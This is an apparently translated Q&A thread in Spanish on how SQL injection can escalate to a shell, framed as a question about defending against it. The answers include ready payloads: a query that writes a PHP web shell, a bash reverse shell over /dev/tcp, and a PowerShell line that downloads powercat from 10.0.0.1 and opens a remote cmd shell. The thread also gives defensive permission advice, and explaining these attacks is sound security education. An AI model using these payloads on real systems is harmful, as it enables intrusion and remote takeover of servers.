Según tengo entendido, la inyección de SQL solo debería permitir la manipulación y recuperación de datos, nada más. Suponiendo que no se obtienen contraseñas, ¿cómo se puede usar una inyección SQL simple para aprovechar un shell?
He visto ataques donde se ha dicho que esto es posible, y si lo es, me gustaría poder protegerlo.
Muchos servidores SQL comunes admiten funciones como xp_cmdshell que permite la ejecución de comandos arbitrarios. No están en el estándar SQL, por lo que cada software de base de datos tiene nombres diferentes.
Además, existe SELECT ... INTO OUTFILE, que puede utilizarse para escribir archivos arbitrarios con los permisos del usuario de la base de datos. Es posible que se sobrescriban los scripts de shell invocados por cron o en el inicio. Si el proceso del servidor de la base de datos se ejecuta en el mismo servidor que una aplicación web (por ejemplo, un solo servidor alquilado), puede ser posible escribir archivos .php que luego pueden invocarse visitando la URL correspondiente en el navegador.
La tercera forma de causar daño es definir y ejecutar procedimientos almacenados en la base de datos. O redefina los procedimientos almacenados existentes, por ejemplo, una función que verifica las contraseñas.
Probablemente hay más formas.
El usuario de la base de datos de la aplicación no debe tener permisos para ejecutar las funciones del shell ni utilizar INTO OUTFILE ni definir procedimientos almacenados.
Hay varias formas de obtener shell. Aquí hay algunos de ellos. El enlace en la parte inferior debería llevarlo a algunas hojas de trucos excelentes para muchos tipos de bases de datos como MSSQL, Oracle, MySQL y más.
Un buen consejo para obtener shell es tener esta hoja de trucos de shell inversa en tu bolsillo trasero.
Si sabe dónde colocar el shell en el servidor (en algún lugar accesible) puede usar la siguiente consulta (mysql) para crear, por ejemplo, un shell php en el servidor web:
SELECT '<?php exec($_GET[''cmd'']); ?>' FROM mytable INTO dumpfile ‘/var/www/html/shell.php’
Necesitas saber dónde está el directorio de dominio. Aprender dónde se está ejecutando la base de datos puede ser útil, por lo que una consulta de inyección (mysql) como esta quizás le dirá acerca de la arquitectura del directorio:
SELECT @@datadir;
También puede tener suerte si intenta forzar cualquier mensaje de error del sistema para que le indique dónde se está ejecutando. Normalmente, este enfoque es el más fácil, ya que muchos mensajes de error son muy
MSSQL tiene una forma relativamente sencilla de llamar a las funciones del sistema operativo mediante el uso de la función incorporada xp_cmdshell. No es tan fácil en MySQL (generalmente requiere outfile o procedimiento almacenado). Oracle es muy fácil y permite el código Java para ser ejecutado.
EXEC xp_cmdshell 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'
La declaración anterior crea un shell interactivo (-i) que escucha en el puerto 8080 10.0.0.1.
Editar : por supuesto, MSSQL con Bash es realmente improbable. No pensé en eso antes de ver el comentario. En lugar de bash, uno puede hacer un script inverso de Powershell en su lugar, como este:
EXEC xp_cmdshell 'powershell -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString("http://10.0.0.1:8080/powercat.ps1");powercat -c 10.0.0.1 -p 443 -e cmd'
Powercat se puede descargar desde aquí: enlace
Si puede concatenar consultas en un punto de inyección, lo más probable es que pueda crear procedimientos en la base de datos. Estos procedimientos funcionan como funciones que luego se pueden llamar con quries.
Consulte comandos de shell de PL SQL para obtener más detalles sobre esto.
Buena fuente de inyección: mono Pentest
Con una base de datos Oracle, en realidad puede compilar y ejecutar el código Java desde una consulta SQL. He visto a los atacantes implementar un contenedor de shell básico en Java para Oracle y ejecutarlo y compilarlo desde la inyección de SQL. Bastante ingenioso.
Depende totalmente de la aplicación en cuestión. En cuanto a cómo protegerse, no ser trivial, pero tapar los orificios de inyección de SQL. También es aconsejable aislar lo más posible las cosas de cara al público, de modo que si eres el propietario, el atacante no puede hacer mucho. Lo práctico que es esto es, nuevamente, depende de su arquitectura y la aplicación en cuestión.
Lea otras preguntas en las etiquetas sql-injection